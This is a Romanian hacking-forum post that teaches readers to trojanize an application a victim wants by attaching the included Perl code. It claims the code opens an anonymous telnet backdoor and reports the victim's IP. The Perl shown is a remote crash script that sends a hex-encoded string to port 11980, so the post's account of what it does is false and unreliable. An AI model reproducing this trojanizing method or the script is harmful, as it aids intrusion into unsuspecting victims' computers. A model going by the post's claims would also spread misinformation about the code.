MortalHack
Bine ati venit pe MortalHack ! Aici va este locul .Hack de calitate noi nu ne jucam cu calitatea ci o dam si altora ! Cautam moderatori inscrieti-va si dati-mi un mesaj
|
Nou pe simpatie:
Scumpa85 pe Simpatie.ro
 | Femeie
24 ani
Bucuresti
cauta Barbat
27 - 45 ani |
|
|
MortalHackReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
virusAdministrator
Postari: 59
|
|
Luati o aplicatie de interes. Ceva ce vrea victima voastra. luati un decompiler si atasati codul de mai jos
Cod:
$ARGC=@ARGV;
if ($ARGC !=1) {
print "Usage: $0 [host]\n";
print "Exam: $0 127.0.0.1\n";
print "\n";
exit;
}
use Socket;
my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$popy = "\x31\x31\x39\x38\x30";
print "\n[+] Connect to host..\n";
$iaddr = inet_aton($remote) or die "[-] Error: $!";
$paddr = sockaddr_in($popy, $iaddr) or die "[-] Error: $!";
$proto = getprotobyname('tcp') or die "[-] Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "[-] Error: $!";
connect(SOCK, $paddr) or die "[-] Error: $!";
print "[+] Connected\n";
print "[+] Send invalid command..\n";
$empty =
"\x49\x4e\x46\x41\x4d\x4f\x55\x531".
"\x47\x52\x4f\x55\x50";
send(SOCK, $empty, 0) or die "[-] Cannot send query: $!";
sleep(2);
print "[+] DONE\n";
print "[+] Check if server crash!\n";
close(SOCK);
exit;
Acum, asteptati sa instaleze victima.
Ce se intampla? Primit un mesaj pe desktop, cu ip-ul victimei. Intrati cu Telnet si va conectati pe ip-ul respectiv prin ORICE PORT LIBER.
Ce e mai sus nu va fi detectat ca virus, pentru ca nu este. El seteaza windowsul sa accepte conexiuni telnet anonime. Daca il "prindeti" voi, scapati de el, prin stergerea registrului HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0.\
stergeti tot din registrul ala, stergeti aplicatia, si dati REBOOT la PC.
|
|
| |
|
